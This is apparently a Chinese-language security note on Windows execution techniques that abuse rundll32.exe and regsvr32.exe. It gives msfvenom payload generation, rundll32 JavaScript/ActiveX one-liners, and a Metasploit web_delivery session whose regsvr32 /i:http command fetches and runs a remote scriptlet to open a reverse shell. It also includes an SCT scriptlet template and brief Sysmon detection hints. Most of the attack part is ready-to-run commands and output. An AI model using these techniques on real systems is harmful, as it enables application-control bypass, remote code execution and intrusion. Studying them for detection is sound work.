rundll32
简介
DLL包含要在EXE格式文件中实现的库函数,其中许多函数包含构成Windows操作系统基础的函数。通过利用从DLL中提取必要功能的功能来配置要在Windows上执行的程序。但是当你想“从DLL中提取一部分函数并执行它”时,编写一个读取和执行DLL的程序很麻烦。这时候就需要rundll32.exe。rundll32.exe是“用于检索和执行DLL中实现的功能的可执行文件”,它是在Windows系统上标准实现的。通过以下格式执行,可以检索并执行目标DLL中实现的功能。但是,rundll32.exe无法调用DLL中实现的所有函数。
rundll32.exe [目标DLL],[要执行的函数名称] [函数参数]
直接调用
生成载荷
msfvenom -p windows/exec CMD=calc.exe -a x86 --platform windows -f dll > calc.dll
目标机上执行 rundll32.exe C:\calc.dll, EntryPoint
经由shell32.dll调用
目标及上执行
rundll32.exe shell32.dll,Control_RunDLL C:\calc.dll
经由javascript调用
使用rundll32.exe ,可以通过mshtml.dll执行JavaScript 。这是Internet Explorer的DLL之一。(又是依赖于WScript.Shell
)
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("calc.exe")
sysmon日志
可以注意父进程中有rundll32.exe
的sysmon 1号事件
如果生成的是meterpreter的dll,那么可以看到rundll32.exe
发起反弹连接。
regsrv32
regsvr32 [/u] [/s] [/n] [/i[:cmdline]] dllname
其中dllname为activex控件文件名
/u
卸载已安装的控件或DLL文件
/s
静默,不显示任何消息框
/n
指定不调用 DllRegisterServer,此选项必须与 /i 共同使用
/i:cmdline
调用 DllInstall 将它传递到可选的 [cmdline],在与 /u 共同使用时,它调用 dll 卸载
dllname
指定要注册的 dll 文件名
卸载控件的操作不需要管理员权限,也不需要写入注册表
use exploit/windows/misc/regsvr32_applocker_bypass_server
exploit(multi/script/web_delivery) > set SRVHOST 192.168.138.142
exploit(multi/script/web_delivery) > set target Regsvr32
msf5 exploit(multi/script/web_delivery) > run -j
[*] Exploit running as background job 2.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.138.142:4444
[*] Using URL: http://192.168.138.142:8080/eoUH3UyWl28
[*] Local IP: http://192.168.138.142:8080/eoUH3UyWl28
[*] Server started.
[*] Run the following command on the target machine:
regsvr32 /s /n /u /i:http://192.168.138.142:8080/eoUH3UyWl28.sct scrobj.dll
在目标机上执行regsvr32 /s /n /u /i:http://192.168.138.142:8080/eoUH3UyWl28.sct scrobj.dll
即可获得会话(雾),出现powershell报错提示
。
查看sct文件,还是利用WScript.Shell
组件来执行命令,比如用powershell
远程下载shellcode并加载到内存中。
<?XML version="1.0"?>
<scriptlet>
<registration
progid="ShortJSRAT"
classid="{10001111-0000-0000-0000-0000FEEDACDC}" >
<!-- Learn from Casey Smith @subTee -->
<script language="JScript">
<![CDATA[
ps = "cmd.exe /c calc.exe";
new ActiveXObject("WScript.Shell").Run(ps,0,true);
]]>
</script>
</registration>
</scriptlet>
还有一种比较妥协的方法,js往磁盘上写入shellcode.dll文件,然后再加载。参考地址
作为cs的一个功能脚本:https://github.com/atropineal/regsvr32
sysmon日志
同理,可以注意父进程中有regsvr32.exe
的sysmon 1号事件。
参考:
https://binary-pulsar.hatenablog.jp/entry/2018/11/05/083000
https://3gstudent.github.io/3gstudent.github.io/%E5%85%B3%E4%BA%8E%E5%88%A9%E7%94%A8rundll32%E6%89%A7%E8%A1%8C%E7%A8%8B%E5%BA%8F%E7%9A%84%E5%88%86%E6%9E%90/